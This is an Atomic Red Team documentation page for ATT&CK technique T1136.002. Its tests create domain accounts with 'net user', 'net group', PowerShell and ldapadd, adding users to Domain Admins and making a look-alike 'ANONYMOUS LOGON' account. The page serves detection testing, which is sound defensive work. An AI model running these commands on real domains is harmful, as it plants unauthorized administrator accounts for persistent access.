Skip to content
Atomic Red Team
atomics
T1136.002

T1136.002 - Create Account: Domain Account

Description from ATT&CK (opens in a new tab)

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Atomic Tests


Atomic Test #1 - Create a new Windows domain admin user

Creates a new domain admin user in a command prompt.

Supported Platforms: Windows

auto_generated_guid: fcec2963-9951-4173-9bfa-98d8b7834e62

Inputs:

NameDescriptionTypeDefault Value
usernameUsername of the user to createstringT1136.002_Admin
passwordPassword of the user to createstringT1136_pass123!
groupDomain administrator group to which add the user tostringDomain Admins

Attack Commands: Run with command_prompt!

net user "#{username}" "#{password}" /add /domain
net group "#{group}" "#{username}" /add /domain

Cleanup Commands:

net user "#{username}" >nul 2>&1 /del /domain


Atomic Test #2 - Create a new account similar to ANONYMOUS LOGON

Create a new account similar to ANONYMOUS LOGON in a command prompt.

Supported Platforms: Windows

auto_generated_guid: dc7726d2-8ccb-4cc6-af22-0d5afb53a548

Inputs:

NameDescriptionTypeDefault Value
usernameUsername of the user to createstringANONYMOUS LOGON
passwordPassword of the user to createstringT1136_pass123!

Attack Commands: Run with command_prompt!

net user "#{username}" "#{password}" /add /domain

Cleanup Commands:

net user "#{username}" >nul 2>&1 /del /domain


Atomic Test #3 - Create a new Domain Account using PowerShell

Creates a new Domain User using the credentials of the Current User

Supported Platforms: Windows

auto_generated_guid: 5a3497a4-1568-4663-b12a-d4a5ed70c7d7

Inputs:

NameDescriptionTypeDefault Value
usernameName of the Account to be createdstringT1136.002_Admin
passwordPassword of the Account to be createdstringT1136_pass123!

Attack Commands: Run with powershell!

$SamAccountName = '#{username}'
$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)
$User.SamAccountName = $SamAccountName
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
$User.DisplayName = $SamAccountName
$User.Save()
$User

Cleanup Commands:

cmd /c "net user #{username} /del >nul 2>&1"


Atomic Test #4 - Active Directory Create Admin Account

Use Admin Credentials to Create A Domain Admin Account

Supported Platforms: Linux

auto_generated_guid: 562aa072-524e-459a-ba2b-91f1afccf5ab

Inputs:

NameDescriptionTypeDefault Value
domainThe domain to be testedstringexample
top_level_domainThe top level domain (.com, .test, .remote, etc... following domain, minus the .)stringtest
admin_userusername@domain of a user with admin privilegesstringadmin@example.test
admin_passwordpassword of the user with admin privileges referenced in admin_userstrings3CurePssw0rD!
domain_controllerName of the domain_controller machine, defined in etc/hostsstringadVM

Attack Commands: Run with sh!

echo "dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\nchangetype: add\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\ncn: Admin User\nsn: User\ngivenName: Atomic User\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\nsAMAccountName: adminuser\nuserAccountControl: 512\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif

Cleanup Commands:

echo removing Atomic User (temporary user)
echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif
ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif
rm deleteuser.ldif
rm tempadmin.ldif

Dependencies: Run with sh!

Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available
Check Prereq Commands:
which ldapadd && which ldapmodify
Get Prereq Commands:
echo ldapadd or ldapmodify not found; exit 1


Atomic Test #5 - Active Directory Create User Account (Non-elevated)

Use Admin Credentials to Create A Normal Account (as means of entry)

Supported Platforms: Linux

auto_generated_guid: 8c992cb3-a46e-4fd5-b005-b1bab185af31

Inputs:

NameDescriptionTypeDefault Value
domainThe domain to be testedstringexample
top_level_domainThe top level domain (.com, .test, .remote, etc... following domain, minus the .)stringtest
admin_userusername@domain of a user with admin privilegesstringuser@example.test
admin_passwordpassword of the userstrings3CurePssw0rD!
domain_controllerName of the domain_controller machine, defined in etc/hostsstringadVM

Attack Commands: Run with sh!

echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif

Cleanup Commands:

echo removing Atomic User (temporary user)
echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif
ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif
rm deleteuser.ldif
rm tempadmin.ldif

Dependencies: Run with sh!

Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapadd, ldapmodify
Check Prereq Commands:
which ldapadd
which ldapmodify
Get Prereq Commands:
echo ldapadd or ldapmodify not found; exit 1